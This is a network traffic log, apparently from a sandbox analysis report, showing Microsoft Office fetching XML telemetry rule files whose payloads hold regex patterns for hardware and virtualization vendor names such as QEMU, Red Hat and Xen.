2024-11-21 21:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213427Z-178bfbc474b7cbwqhC1NYC8z4n00000001vg00000000wutp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213428Z-178bfbc474b7cbwqhC1NYC8z4n00000001z000000000cz3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213428Z-r1d97b995774n5h6hC1TEBvf840000000avg00000000mg14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:29 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213429Z-178bfbc474b7cbwqhC1NYC8z4n00000001z000000000cz97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213429Z-174c587ffdf8lw6dhC1TEBkgs800000000d00000000016sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:29 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213430Z-174c587ffdfcj798hC1TEB9bq400000000mg00000000t7vk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213430Z-174c587ffdfcj798hC1TEB9bq400000000s0000000001pbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213431Z-178bfbc474bwlrhlhC1NYCy3kg000000020g00000000nnw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213432Z-178bfbc474b9xljthC1NYCtw9400000001xg00000000mspg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213432Z-178bfbc474bv587zhC1NYCny5w00000001tg00000000zn5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:32 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213432Z-178bfbc474bq2pr7hC1NYCkfgg000000027g0000000080uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:32 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213432Z-174c587ffdfcj798hC1TEB9bq400000000gg00000000uk3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.63	443

